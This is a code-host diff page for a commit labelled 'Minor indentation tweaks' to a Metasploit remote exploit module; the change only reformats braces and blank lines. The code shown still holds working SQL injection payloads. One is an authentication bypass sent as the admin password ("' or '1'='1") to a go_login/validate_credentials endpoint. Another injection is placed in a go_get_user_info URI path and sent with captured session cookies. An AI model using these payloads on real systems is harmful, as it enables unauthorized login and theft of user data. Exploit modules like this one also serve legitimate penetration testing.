Minor indentation tweaks.
parent
8c23769cbc
commit
dd530a2953
|
@ -69,13 +69,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
|
||||
'headers' =>
|
||||
{
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0',
|
||||
'Accept-Encoding' => 'identity'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'vars_post' => {
|
||||
'user_name' => 'admin',
|
||||
'user_pass' => '\'%20or%20\'1\'%3D\'1'
|
||||
}
|
||||
|
@ -88,8 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
|
||||
'headers' =>
|
||||
{
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0',
|
||||
'Accept-Encoding' => 'identity',
|
||||
'Cookie' => cookies
|
||||
|
@ -113,10 +110,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'User-Agent' => 'Mozilla/5.0',
|
||||
'Accept-Encoding' => 'identity',
|
||||
'Cookie' => @cookie
|
||||
|
||||
}
|
||||
})
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue